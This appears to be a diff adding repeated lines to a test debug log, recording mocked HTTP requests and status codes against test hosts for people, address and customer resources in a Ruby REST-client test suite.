+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
